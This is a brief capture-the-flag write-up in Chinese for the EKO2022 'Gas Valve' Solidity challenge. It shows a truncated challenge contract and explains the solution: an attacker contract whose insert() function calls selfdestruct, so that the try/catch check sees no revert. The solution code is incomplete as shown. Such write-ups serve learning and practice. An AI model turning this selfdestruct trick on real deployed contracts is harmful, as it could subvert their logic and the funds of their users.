// SPDX-License-Identifier: MIT pragma solidity 0.8.17;
interface INozzle { function insert() external returns (bool); }
/// @title Gas Valve /// @author https://twitter.com/bahurum /// @notice The evil Dr. N. Gas has created a machine to suck all the air out of the atmosphere. Anon, you must deactivate it before it's too late! /// @custom:url https://www.ctfprotocol.com/tracks/eko2022/gas-valve contract Valve { bool public open; bool public lastResult;
分析题目:有接口INozzle,try catch 主要就是检查调用接口中insert函数是否有错误,然后看到openValue函数中居然把opend设置为false,而我有没有发现如何才能改变opend值的地方,就陷入了困境,于是看了一下别人的思路,原来这道题的关键点是如何消耗完gas,并且不会抛出异常,查看这个问答,了解到Gas refunds are provided when clearing storage or calling on contracts.SELFDESTRUCT,所以我们就可以在调用insert函数中,使用自毁合约,退回gas费用,并且不会抛出错误 攻击合约
// SPDX-License-Identifier: MIT pragma solidity 0.8.17;
contract ValveHacker {
constructor() {
}
function insert() public returns (bool result) { selfdestruct(payable(msg.sender)); }